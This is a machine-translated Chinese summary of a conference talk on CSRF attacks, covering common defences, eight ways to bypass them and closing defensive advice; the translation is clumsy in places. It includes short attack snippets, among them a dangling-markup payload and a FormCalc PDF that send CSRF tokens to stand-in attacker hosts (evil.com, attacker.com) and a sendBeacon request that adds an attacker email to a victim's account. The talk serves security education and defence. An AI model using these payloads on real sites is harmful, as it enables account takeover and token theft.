CSRF漏洞仍然相关

翻译成俄语的CSRF(跨站请求伪造)是跨站请求的伪造。 Mikhail Egorov0ang3el )在有关Highload ++ 2017的报告中谈到了CSRF漏洞,通常使用哪种保护机制以及如何规避它们。 最后,他提出了有关如何防御CSRF攻击的一系列技巧。 根据猫的解码表现。


关于演讲者: Mikhail Egorov在Ingram Micro Cloud工作,从事应用程序安全性。 在闲暇时间,Mikhail致力于寻找漏洞和寻找Bug并在安全会议上发表演讲。

免责声明:给出的信息纯粹是作者的意见,所有匹配内容都是随机的。


这个Cookie怪兽应该归咎于CSRF攻击有效的事实。 事实是,许多Web应用程序都使用cookie(此后我们认为以俄语调用cookie是适当的)来控制用户的会话。 浏览器的设计使其在此域和路径具有用户cookie时会自动将其与HTTP请求一起发送。

饼干


Cookie是Web服务器以称为“ Set-Cookie”的HTTP标头中的name = value的形式发送给客户端的一小段数据。 浏览器将此数据存储在用户的计算机上,并在必要时将此数据作为HTTP请求的一部分发送到Web服务器,该HTTP请求称为“ Cookie”。

Cookies可以具有各种属性,例如:过期,域,安全,httponly:

Cookies最早于1994年出现在Netscape浏览器中。 许多Web应用程序仍然使用它们来管理用户的会话。


让我们看看经典的跨站请求伪造(CSRF)攻击是如何工作的。

假设我们的Web应用程序具有更改用户的传递地址的能力,并且使用Cookie来控制会话。

我们有一个HTML表单,用户必须填写:输入地址,然后单击“保存”按钮。 结果,带有HTML表单的POST请求将飞到后端。 我们看到浏览器会自动在其中设置用户的会话Cookie。 后端在收到这样的请求时,会发现存在这样的会话,它是合法用户,并更改其传递地址。

攻击者可以做什么?


他可以在自己的Attacker.com网站上放置一个HTML页面,该页面实际上将HTML表单提交给example com 。 由于浏览器会自动将用户的Cookie插入HTTP请求中,因此后端根本无法理解该请求是否合法-是用户填写表单的结果还是CSRF攻击-并将用户的传递地址更改为对攻击者有利的值。

使用XHR API的CSRF攻击还有另一种选择。 如果许多人听说过使用HTML表单的CSRF攻击,那么他们对这种方法的了解就很少,但是它也可以使用。


注意withCredentials属性,该属性使浏览器自动发送用户cookie。 由于Content-type的值是application / x-www-form-urlencoded,因此浏览器将发送此请求而无需CORS选项预检请求,并且CSRF攻击将再次起作用。

让我们更清楚地考虑这是如何发生的。


源数据:

  • exampleRF.com应用容易受到CSRF的攻击,
  • 使用者
  • 攻击者的网站,那里有一个csrf-xhr.html页面。

用户在位于example.com上的应用程序中通过了身份验证。 如果他去了攻击者的站点,那么将自动执行POST请求,这将更改传递地址。 浏览器将自动将会话cookie插入请求,后端将更改地址。

CSRF攻击历史


总的来说,CSRF攻击自2001年开始被人们广泛利用以来就已为人所知。 在2008-2012年期间,每个第一个站点上都存在此类漏洞,包括:

  1. YouTube的
  2. 纽约时报;
  3. 巴杜
  4. 幻灯片分享
  5. Vimeo;
  6. 葫芦
  7. 电影搜索;
  8. ...

CSRF漏洞有多严重?


实际上,这完全取决于脆弱行动的关键性。 可能是:

  • 帐户接管-攻击者通过CSRF更改电子邮件来捕获受害者的帐户。
  • 特权升级-由于攻击者通过CSRF创建了系统中具有较高权限的新用户,从而增加了特权。
  • 远程执行代码-由于通过CSRF在管理面板中进行了命令注入操作,因此执行了代码。

让我们看看国际上建立的关于CSRF严重性的漏洞分类。

OWASP Top 10项目中,该项目包含应用程序中的10个最关键的漏洞,在2010年,CSRF漏洞排名第五 。 然后,开发人员开始实施各种保护选项,并且在2013年,CSRF漏洞已移至第八位。

CSRF漏洞根本没有列入2017年的列表中,因为据推测,根据统计数字,现在仅在8%的案例中发现了CSRF漏洞。

我个人不同意这些统计数据,因为从字面上看,最近两年我发现了许多CSRF漏洞。 接下来,我将告诉您我是如何做到的。

Bugcrowd VRT (漏洞等级分类)类别中,应用程序范围的CSRF漏洞的严重等级为P2(高)。 以上仅是严重性级别,即这些都是非常严重的漏洞


考虑存在哪些CSRF保护选项以及每个保护选项的工作方式。

1. CSRF令牌
  • 对于每个用户会话,都会生成一个唯一且高度熵的令牌。
  • 令牌被插入HTML页面的DOM中,或通过API给予用户。
  • 每个请求都与任何更改相关联的用户必须在参数或请求的HTTP标头中发送令牌。
  • 由于攻击者不知道令牌,因此经典CSRF攻击无效。

2.两次提交Cookie
  • 再次为每个用户会话生成一个唯一且高度熵的令牌,但是将其放置在cookie中。
  • 用户必须在请求中的请求和请求参数中传递相同的值。
  • 如果这两个值在Cookie和参数中一致,则认为这是合法请求。
  • 由于攻击者根本无法在用户的浏览器中更改cookie,因此经典的CSRF攻击无效。

3.基于内容类型的保护
  • 用户必须发送带有特定Content-Type标头的请求,例如application / json。
  • 由于不可能在浏览器中通过HTML表单或XHR API发送任意的Content-Type跨域,因此经典的CSRF攻击不再起作用。

4.基于引荐的保护
  • 用户必须发送带有特定Referer标头值的请求。 后端对其进行检查,如果不正确,则认为这是CSRF攻击。
  • 由于浏览器无法通过HTML表单或XHR API发送任意引用,因此经典的CSRF攻击无效。

5.密码确认/ websudo
  • 用户必须使用密码(或密码)确认操作。
  • 由于攻击者不认识他,因此经典的CSRF攻击无效。

6. Chrome,Opera中的SameSite Cookies
这是一项旨在保护CSRF的新技术。 目前,它仅在两种浏览器(Chrome,Opera)中有效。

  • Cookie设置了一个附加属性-samesite,该属性可以具有两个值:lax或strict。
  • 该技术的本质是,如果请求是从另一个域(例如,攻击者的网站)发出的,则浏览器不会发送cookie。 因此,这再次防止了经典的CSRF攻击。

但是,不幸的是,到处都有浏览器,Web应用程序及其部署的功能,有时可以让您绕过CSRF保护

因此,现在让我们讨论可以在实践中使用的8种绕过保护的方法。


解决方法:


1. XSS(跨站点脚本)

如果您的Web应用程序具有XSS,则这会自动使其容易受到CSRF的攻击,因此很难保护自己。 你只能忍受

2.悬挂标记

假设我们的应用程序存在HTML注入漏洞,但是没有XSS。 例如,有一个针对XSS的内容安全策略(CSP)。 但是攻击者仍然可以嵌入HTML标签。

如果我们的应用程序基于CSRF令牌实施保护,则攻击者可以嵌入此类HTML,这些HTML并非封闭的图像或表单标签:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

结果,部分DOM HTML页面将被发送到攻击者的资源。 如果攻击者正确实现了此类HTML,则很有可能在攻击者的网站上包含CSRF令牌。

因此,在学习了令牌之后,攻击者将能够以经典方式利用CSRF。

3.脆弱的子域

假设我们有一个子域foo.example.com ,并且容易受到子域接管XSS的攻击 子域接管的结果是,攻击者可以完全控制该子域,并且可以在该子域中添加任何HTML页面或在该子域的上下文中执行JS代码。 如果我们的子域容易受到此类攻击,则攻击者将能够规避以下类型的CSRF保护:

  • CSRF令牌;
  • 两次提交Cookie;
  • 基于内容类型的保护。

假设我们的主要应用程序使用CORS (跨源资源共享)进行跨域通信。 服务器响应中插入了两个标头:

  1. 访问控制允许来源:foo.example.com(foo.example.com-易受攻击的子域);
  2. 访问控制允许证书:true   -因此,使用XHR API可以使用用户cookie发出请求。

如果满足这些条件,则攻击者可以简单地从他控制的子域中读取CSRF令牌,然后继续以经典方式利用CSRF。

下一个选项。 假设我们要攻击的主域上有一个crossdomain.xml文件。 Flash和PDF插件使用此文件进行子域交互,并允许从任何子域访问该文件。

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

如果攻击者可以将JS文件上传到foo.example.com ,那么在这种情况下,他可以将Service Worker API用于子域foo.example.com,而该子域实际上会发出Flash文件。

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

由于我们在主域上具有crossdomain.xml,它允许子域进行交互,因此攻击者只需通过此SWF读取CSRF令牌。

顺便说一句,最近在亚马逊上发现了一个类似的漏洞,更多详细信息在这里

即使未配置CORS且没有crossdomain.xml文件,但使用了Double Submit Cookie保护,攻击者也可以将Cookie从父域的子域插入到他要利用CSRF的路径,从而绕过Double Submit Cookie保护。

4.错误的PDF

此解决方法基于PDF。 Adobe有一个PDF插件,当您安装Adobe Reader时会自动安装。 该插件支持所谓的FormCalc脚本。 但是,现在Adobe的PDF插件仅适用于IE11和Firefox ESR。

FormCalc有两种很棒的方法:get()和post()。 使用get方法的攻击者可以使用post读取CSRF令牌,并将其发送到他的站点。 因此,攻击者获得了受害者的CSRF令牌。

假设我们有能力将PDF文件上传到Web应用程序。 实际上,它甚至可能是不同格式的文件,例如,攻击者可能试图以用户头像的图片为幌子下载PDF。

该应用程序在主域上具有一些API,使您可以获取下载文件的内容。 然后,攻击者可以使用HTML页面,该页面嵌入使用embed标签将攻击者上传到example.com的PDF文件。

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

Leak.pdf文件:


该文件包含一个FormCalc脚本,该脚本仅读取Settings.action页,该页在DOM中有一个CSRF令牌,并使用post方法将其发送到攻击者的站点。

由于PDF是从example.com下载的,因此该PDF本身具有对所有起源https://example.com完全访问权限,并且可以从那里读取数据而不会违反相同起源策略(SOP)模式。

另一个重点是,对于PDF插件而言,与给出哪种Content-Type无关紧要,甚至HTTP响应也可能包含其他标头(例如Content-Disposition)。 PDF插件仍将呈现此PDF并执行FormCalc脚本。

5.饼干注射

如果使用了双重提交cookie保护,那么如果攻击者可以某种方式引入cookie,那么这已经结束了。

在这种情况下,最受欢迎的选择之一是CRLF 注入

如果攻击者可以在服务器的响应中插入其他标头,则只需添加带有必要Cookie的Set-Cookie标头,并绕过CSRF保护。

另一个选项与浏览器cookie处理功能有关

例如,在Safari中,您可以使用逗号插入新的cookie(以逗号分隔的cookie)。 假设我们在名为language的标头中有一个URL参数。 我们对其进行处理,然后将所选的语言值写入Cookie中。 如果攻击者插入逗号,则他可以插入任何其他名称的cookie。

同样,绕过CSRF保护也可以帮助解决浏览器错误 。 例如,在Firefox中,可以通过SVG图像嵌入Cookie( CVE-2016-9078) 。 如果我们有HTML编辑器,并且允许用户插入图像标签,那么攻击者可以简单地指向SRC属性中的SVG图像,这将设置必要的cookie。

6.更改内容类型
一些开发人员认为,如果您在POST请求的正文中使用非标准数据格式与后端进行通信,则可以使您免于CSRF。 实际上并非如此。

例如,我将列举一个最近在非常流行的笔记管理服务中发现的漏洞。

它使用的API使用Apache Thrift(二进制数据格式)和cookie来控制会话。 例如,要添加新笔记,用户必须发送这样的POST请求。 二进制数据在正文中传输,并且指定了Content-Type:application / x-thrift。

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

实际上,此Content-Type在后端未经过验证。 只需将二进制数据传递到POST请求的主体中,就可以将其更改为text / plain,并使用XHR API来利用此CSRF漏洞。


实际上,基于内容类型的安全性是非常差的安全性选项。 大多数情况下会绕过它。

7.非简单的内容类型

通过HTML表单或使用XHR API,我们可以提交以下内容类型:

  • 文字/纯文字;
  • 应用程序/ x-www-form-urlencoded;
  • 多部分/表单数据。

实际上,可以通过以下方式发送任何Content-Type值:

  • 浏览器中的错误(例如Navigator.sendBeacon);
  • 插件:Flash插件+ 307重定向和PDF插件+ 307重定向;
  • 后端框架。

某些框架(例如JAX-RS Apache CXF框架)在URL中支持称为ctype的参数。 您可以在此参数中指定任何Content-Type,后端将查看此参数并将使用它,而不是Content-Type,后者将传递到标头( 链接到源)。

Chrome浏览器在2015年发现了一个相当知名的错误 ,此后大约一个月便进入了公众访问范围,但直到2017年才修复。 此错误使您可以使用称为Navigator.sendBeacon()的API将具有任何Content-Type的POST请求发送到另一个来源
手术看起来像什么?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

我们使用所需的Content-Type创建一个新的Blob,然后只需使用Navigator.sendBeacon()发送即可。

仍然有效且在浏览器中受支持的另一种解决方法是使用Flash插件绕过。


即使有一个网站thehackerblog.com ,那里已经有一个就绪的闪存驱动器,您只需指定URL,标头,所需的Content-Type和您需要传输的数据-您就可以发送,并且带有所需Content-Type的POST请求会飞到后端。

但是有一个窍门-您不能仅指定我们要攻击的网站的URL。 您需要指定将在我们攻击的资源上使用代码307进行重定向的资源。 然后它将起作用。

8.欺骗引荐来源

绕过CSRF保护的最后一个选项是基于Referer。 Microsoft Edge浏览器中存在一个错误,该错误仍未修复,可以让您伪造Referer的值。 但是,不幸的是,它仅对GET请求有效。 如果受攻击的后端无法区分GET和POST,则可以利用此bug。

如果我们仍然需要POST,则有一个小技巧。 我们可以使用PDF插件和FormCalc发送标头参考。


大约一年前,可以使用PDF插件发送包括主机在内的所有标题,但随后Adobe通过创建标题黑名单来消除这种可能性。 也就是说,如果我们在标头中指定Referer,则该标头就不会存在。

通常,FormCalc允许我们合法地提交任何Content-Type。 如果我们插入回车符和换行符,则可以向请求中添加其他标题。

如果实现标头Referer http://example.com会发生什么?

显然,它不在黑名单中,标题为Referer http://example.com的标头将发送到后端。

某些服务器,例如WildFly或Jboss,会将空格视为HTTP标头名称的末尾,即冒号` `。 因此,这些服务器将看到Referer带有值http://example.com 。 因此,我们将替换Referer。


这是汇总表。 列提供了针对CSRF的保护,行提供了解决方法。 在每个单元格中,指示使用此方法的浏览器:

  • 适用于所有浏览器的一切;
  • 所有*表示不支持SameSite Cookies的浏览器,即 除Chrome和Opera外的所有内容。



抵御CSRF攻击的最主要,最有效的选择是摆脱cookie并使用带有令牌的标头。

但是,如果您仍不愿意放弃cookie来管理用户会话,请执行以下操作:

  • 对威胁建模并验证CSRF保护的实施(请参见摘要表)。
  • 实施SameSite Cookies。 现在只有两种浏览器支持,但是将来可能会更多。
  • 结合各种CSRF防御-纵深防御。
  • 要求用户输入密码以执行关键操作。
  • 提供用户从单独域下载的文件。

在不到六个月的时间里,下一个高负载将在一个月内出现-Highload ++ Siberia

我们想提请您注意一些选定的报告:


Source: https://habr.com/ru/post/zh-CN412855/


All Articles